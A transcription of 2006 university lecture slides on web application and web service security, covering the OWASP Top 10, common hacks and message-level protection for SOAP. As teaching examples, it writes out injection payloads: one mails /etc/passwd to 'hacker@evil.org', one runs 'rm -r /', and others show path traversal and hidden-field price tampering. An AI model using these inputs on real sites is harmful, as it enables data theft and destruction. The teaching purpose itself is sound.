Security in Network-Based Applications. ITIS 4166/5166 Network Based Application Development. Network Security. Agenda. References

Transcription

1 ITIS 4166/5166 Network Based Application Development Security in Network-Based Applications Anita Raja Spring 2006 Agenda Network Security. Application Security. Web Services Security. References Open Web Application Security Project (OWASP) Oasis (Organization for the Advancement of Structured Information Standards) Serious threats to Network Security Network Security Customized virus will evade popular virus scan programs: Virus immunology techniques may help, but there is no guarantee! Customized trojans. IDS and popular tools are generally ineffective. Attack techniques: Be noisy. Be quiet. Be clever. 1

2 Denial of service Noisy sync flooding. Typical denial of service starts with a hacked account (e.g. AOL surveys!). Synchronized attacks uses multiple staging points, very difficult to detect and deal with. Best defenses Educate users about password and common sense security precautions. Don t execute active MIME contents: Christmas cards etc. Security is a system engineering problem: the system is only as secure as its weakest link. Clear risk assessment. Turn off unwanted services: simplify, simplify and simplify. Best defenses Don t blindly use defaults! Upgrade software. Don t make information easily available. User education and more user education. Application Security Web applications Web application threats Web applications are pervasive: driver license renewal, grade entry, banking, trading stocks, airline reservation, hotel reservation, buying books, library. They are typically outside of firewalls. Data Database Backend systems frontend systems Web Server User interface code Invalid input Code Data Browser Flaws in Code, Web server, Front end system, Back end system or database ==> unauthorized access of privileged accounts, the OS, network, or sensitive data and may result in denial of services. 2

3 Common Hack Attacks 1. Hidden Field Manipulation 2. Parameter Tampering 3. Malicious Values 4. Cookie Poisoning 5. Stealth Commanding Hidden Field Manipulation Open the html page within HTML editor. Locate the hidden field (e.g., <type=hidden name=price value=99.95>. Modify content (e.g., <type=hidden name=price value=1.00>. Save the html file locally and browse it. Click buy button to perform electronic shop lifting via hidden manipulation. Parameter Tampering Input Malicious Values Failure to confirm the correctness of CGI parameters embedded in a hyper link can be easily used to break the site security. a search CGI may accept a template parameter Search.exe?template=result.html&q=security By replacing the template parameter, one may be able to obtain access to any file, e.g. Search.exe?template=/etc/passwd&q=security Original / Attacked Account File Cookie Poisoning Newly created user Injected user with admin priv. 3

4 Cookie Modification Gain Access of Other User Stealth Commanding The use of server side executions (e.g. eval or system Perl commands, SQL queries) enable someone to plant Trojanhorses in form submissions and run malicious or unauthorized commands: Example : Postcard site. User fills in a postcard sending form, including the recipient name. Site s the recipient with the postcard. CGI used for this purpose was written in Perl, and it had the following statement in it: open (MAIL, " $mailprog $recipient ). Replacing $recipient with "hacker@evil.org</etc/passwd," the hacker will be mailed the password file. Shell commands can be executed as well by sending "x;rm -r /", deleting the entire site. Web Application Security Web application opens channels for HTTP requests. Attacks hidden within legal HTTP application requests will bypass firewalls, filters, intrusion detection. Secure web sites (https/ssl) only protects the channel. Web application code needs to be part of an organization s security perimeter. OWASP Top 10 Web Application Vulnerabilities 1. Unvalidated Input Common vulnerabilities that lead to compromise of information: A1 Unvalidated Input A2 Broken Access Control A3 Broken Authentication & Session Management A4 Cross-Site Scripting (XSS) Flaws A5 Buffer Overflows A6 Injection Flaws A7 Improper Error Handling A8 Insecure Storage A9 Denial of Service Information from web requests is not validated or filtered before being used by a web application. Attackers can use these flaws to attack backend components through a web application. Common types of attack: forced browsing command insertion cross site scripting buffer overflows format string attacks SQL injection cookie poisoning hidden field manipulation. A10 Insecure Configuration Management 4

5 Unvalidated Input May manipulate any part of HTTP Request: URL, query string, headers, cookies, form fields. Client-side validation is NOT sufficient. Unvalidated Input Countermeasure - Parameters should be validated against a positive specification that defines: Data type (string, integer, real, etc ). Allowed character set. Minimum and maximum length. Whether null is allowed. Whether the parameter is required or not. Whether duplicates are allowed. Numeric range. Specific legal values (enumeration). Specific patterns (regular expressions). Application Firewalls. 2. Broken Access Control Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to: Access other users accounts. View sensitive files. Use unauthorized functions. Broken Access Control Commonly Found Broken Access Control Issues Insecure Id s Using predictable ID, index, to access confidential data. Forced Browsing Past Access Control Checks Deep linking of administrative pages, skipping the authentication pages. Path Traversal The use of relative path (e.g.,../../target_dir/target_file ) as part of a request for information. File Permissions. Client Side Caching Confidential Information are cache by the local browser. Broken Access Control Broken Access Control: Allowing user to access parts of the application without the appropriate privilege. Viewing authorized content. Authorization loopholes. External facing administrative interfaces. Countermeasures: Develop well-defined access control requirements / policy. Well defined role based and granular access control. Extensive testing. 3. Broken Authentication & Session Management Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies, or other tokens can: Defeat authentication restrictions. Assume other user s identities. 5

6 Broken Authentication Countermeasures: Password Strength enforced. Password Change Controls single mech. old/new. Password Storage hashed / encrypted. Protecting Credentials in Transit SSL. Session ID Protection SSL / strong session ID. Account Lists (Account Enumeration) prevent access. Browser Caching turn off, insofar as possible. Trust Relationships avoid implicit trust. Protecting certificates & authentication keys. 4. Cross-Site Scripting (XSS) Flaws Web application can be used as a mechanism to transport an attack to an end user s browser. Successful attack can: Disclose end user s session token. Attack local machine. Spoof content to fool the user. Cross-Site Scripting Cross Site Scripting: Usually a result of Unvalidated Input. Using legitimate functions of an application to send malicious scripts to another user. Used to steal session cookies. Phishing attacks. Two categories Reflected and Stored Reflected The malicious scripts is either embedded in the requests or retrieved from another location. Stored The malicious scripts is stored in the database or file in the application. Cross-Site Scripting Countermeasures: Rigorous positive validation: Headers. Cookies. Query Strings. Form/hidden fields. Encoding user-supplied output: <, >, (, ), #, & to character entities. 5. Buffer Overflows Web application components in some languages that do not properly validate input can crash. In some cases, can take control of process. Components include: CGI libraries. Drivers. Web application server components. Buffer Overflow Buffer Overflow often a result of: Input Validation. Format String issues. Countermeasure: Input validation. 6

7 6. Injection Flaws Web applications pass parameters when they access external systems or the local OS. If attacker can embed malicious commands in these parameters, external system may execute those commands: on behalf of the web application. Injection Flaws Injection Flaws: Executing malicious code using system or database commands. Often found in scripting languages (Perl, PHP, Python, TCL, etc). SQL Injection. Command Injection. Countermeasures: Input validation. Avoid using shell or system command in the application. Use prepared statements or stored procedures for SQL queries. 7. Improper Error Handling Error conditions that occur during normal operation (e.g., catch) are not handled properly. If an attacker can cause errors to occur that the web application does not handle, they can: Gain detailed system information. Deny service. Cause security mechanisms to fail. Crash the server. Improper Error Handling Improper Error Handling: Unnecessary disclosure of detailed internal error messages such as stack traces, database dumps, and error. Information such as: Database type and version. Directory structure and file location. Server Version. Database query. Countermeasures: Use generic error messages. Use centralized logging instead of displaying the error back to the user. 8. Insecure Storage Web applications frequently use cryptographic functions to protect information and credentials. These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection. Insecure Storage Insecure Storage encompasses several general categories of problems dealing with the storage of critical data, such as: Failure to encrypt critical data. Insecure storage of keys, certificates, and passwords. Improper storage of secrets in memory. Poor sources of randomness. Poor choice of algorithm. Attempting to invent a new encryption algorithm. Use of Encoding instead of encryption. Countermeasures: Minimize use of encryption. Only keep information that is absolutely necessary. Protect your secrets. 7

8 9. Denial of Service Attackers can consume web application resources to a point where other legitimate users can no longer access or use the application. Attackers can also: Lock users out of their accounts. Cause entire application to fail. Application Denial of Service Application Denial of Service resulting from the exhaustion of: Bandwidth. database connections. disk storage. CPU. Memory. threads. Countermeasures: Limit resources allocated to users. Avoid expensive resources for un-authenticated users. Check error handling scheme for effect on overall application. 10. Insecure Configuration Management Strong server configuration standard is critical to secure web applications Servers have many configuration options that impact security and are not secure out of the box Insecure Configuration Management Insecure Configuration Management: Unpatched security flaws in the server software. Server software flaws or misconfigurations that permit directory listing and directory traversal attacks. Unnecessary default, backup, or sample files, including scripts, applications, configuration files, and web pages. Improper file and directory permissions. Unnecessary services enabled, including content management and remote administration. Default accounts with their default passwords. Administrative or debugging functions that are enabled or accessible. Overly informative error messages (more details in the error handling section). Misconfigured SSL certificates and encryption settings. Use of self-signed certificates to achieve authentication and man-in-themiddle protection. Use of default certificates. Improper authentication with external systems. Insecure Configuration Management Web Application Security Assessment Countermeasures Start w/ guidelines from vendor / security organizations. Harden guidelines for: Explicit configuration of all security mechanisms. Turning off unused services. Setting up role-based access control. Logging / Alerts. Regular Configuration Maintenance: Latest vulnerabilities. Latest security patches. Updating guidelines. Vulnerability Scanning. Internal checksum for server configuration vs. guidelines. Assessing the web server / application server / database server: Using automated scanner to uncover common vulnerabilities. Assessing the application: Using combination of automated scanner and manual interrogation (80/20 Rule): 20% of the time doing automated scan. 80% of the time manually assessing the application. Code Review: Automated source code / binary code scans. Tracing the application flow from end-to-end. 8

9 Web Service Security Positions 1. Web services are really only useful internally, so security is not a concern. 2. Web services cannot be secured, and pose a significant threat to the security of an otherwise robust enterprise. 3. Web services can be secured using SSL and password authentication, just like e-commerce sites on the web. 4. SSL is not sufficient to secure web services, but I do not have a basis for figuring out just what level of security I need or what options I have. K.A Far, Pillar Technologies Security Issues Authentication: ensures that we know and approve access for the identity of a party in a given security domain. Authorization: ensures that an authorized entity has access to a controlled subset of all available secured resources. Confidentiality: ensures that only authorized parties can understand a secured message. Integrity: ensures that a message arrives at its destination unaltered from the point it left its sender. Non-repudiation: ensures that a sender cannot deny that he/she sent a given message; binds a transaction to a non-refutable identity. Impact on Web Services A Starting Point For Authentication Questions arise because of the plaintext concerns over a simple WS architecture: how to perform authentication/authorization? how to guarantee integrity? how to enforce confidentiality and non-repudiation? HTTP BASIC-AUTH user name and password are encoded in the HTTP stream as Base64 encoded plaintext stored in an HTTP header Authorization: Basic U2thdGVib2FyZdhcmVo in this mode, simple Base64 decoding reveals the credentials there is no encryption involved Moving beyond BASIC-AUTH While BASIC-AUTH is pervasive, it is not secure The next step is to secure the BASIC-AUTH transmission using HTTPS HTTP is secured using the Secured Sockets Layer (SSL) SSL encrypts the messages passed back and forth in the HTTP conversation, including the BASIC-AUTH header however, we mentioned earlier that SSL was not sufficient to secure web services let s talk about what is missing Why SSL is sufficient in e-commerce applications? 1. Transactions are generally conducted within the web application context at the e-commerce site there are no intermediaries or multi-party transactions. 2. SSL conversations are conducted point-to-point. 3. As long as the consumer can remit payment, user credentials are good enough to authenticate and authorize their transaction meanwhile, e-commerce sites cannot generally do anything to gain non-repudiation with their customers. 4. Individual transactions are relatively small and will not break the bank, when compared with total throughput. 9

10 On the Other Hand An individual web service transaction can involve literally millions of dollars of potential risk exposure, versus a shopping experience at amazon.com. Remember that web services are systems transacting with systems an open communication channel could be the conduit for a large volume of transacting data. What about client certificates? The basic mechanism for authentication breaks down when we start asking a system to supply a user name and password anyway have you ever seen a user name and password coded into system algorithms??? have you ever abused a user name and password that you learned from application code??? client certificates are one analogous, but more secure, means for authentication a certificate is a token that contains credentials for asynchronous encryption that remain confidential to its owner Benefit of client certificates client certificates allow us to create a secured SSL channel that guarantees non-repudiation so if we secure BASIC-AUTH over HTTPS using client certificates, is that enough??? Essential issue of SSL SSL encrypts the conversation between a single client and server, including authentication credentials however, there is no guarantee of non-repudiation without a client certificate more importantly, you lose confidentiality and non-repudiation in the presence of ANY intermediaries or multi-party transactions beneath the transport layer Intercepting the SOAP request and response Since we cannot do much to secure the transport layer when it involves a single link in an arbitrary chain, what is left? we have to secure the message itself. that requires us to take a look into SOAP and a few security standards for web services. To add security features to the XML communications, we can intercept the process of marshaling and unmarshaling the request and response Client h a n d l e r h a n d l e r request response h a n d l e r h a n d l e r Web Service 10

11 Anatomy of a SOAP message Relevant security specifications To add security to the content in the SOAP body, we will be altering the received message: for the receiver to get back to the original message, we must add processing instructions. those processing instructions are added to the SOAP header. XML Signature for signing all or part of an XML document provides integrity and nonrepudiation, regardless of intermediaries XML Encryption for encrypting portions of an XML document provides confidentiality, regardless of intermediaries by adding these to the authentication capabilities of BASIC-AUTH and SSL, the security picture is more complete there are other ways to authenticate as well authorization is all that is left often that requires additional effort on your part we will get back to this Fundamentals of signatures Role of encryption A signature is a special form of digest computed on a relevant block of data: a hash code is computed on the data block using a well-known algorithm: the sender computes the initial hash and adds it to the transmission. the receiver computes the hash on the data and checks that both hash codes match. this ensures the digest and the data block have integrity (they are unaltered from sender to receiver). to prevent hacking, the digest is hashed a second time and then encrypted: the hashed and encrypted digest is called a signature. private-key encryption provides non-repudiation. To this point we have discussed authentication, authorization, integrity and non-repudiation the role of encryption is to provide confidentiality it is the process of converting plaintext into ciphertext we will go into the mechanics more in the second part for now, consider that using XML Encryption, we can selectively encrypt any portion of the SOAP body Securing web service entry points In addition to the security concerns addressed so far, there should be consideration for securing the entry points to web services UDDI registries ebxml registries web application interfaces used for developing and testing In most cases we have seen to date, WSDL interfaces are published and directly accessible from unsecured points in the network. Securing UDDI/ebXML registries UDDI v3 provides additional support for digitally signing several request elements businessentity, businessservice, bindingtemplate, tmodel, publisherassertion, etc this allows consumers who look up web services to be identified with non-repudiation Moreover, authorization is implemented such that publishers can modify only the entries they created 11

12 Additional tactics for securing registries Security Assertions Markup Language (SAML) Digitally-signed WSDL XML Encryption of private request/response elements (recall that registries are also web services) Reducing authorization to the registry to very short timed intervals to reduce sniffing and replay attacks Use SAML (described next) to make assertions about the authorization of a party Provides queries and assertions in XML authentication authorization (decisions) attributes of known security parties Open source implementations etc. Commercial implementations SunONE Identity Server Netegrity JSAML Toolkit Baltimore SelectAccess Systinet WASP Card WS-Security Specification defining how they apply to SOA Submitted to OASIS in 2002 for development as a standard WS-Security defines headers for subject authentication, as well as specifications for signing and encrypting that info there are also many related specifications that are in various states of acceptance 12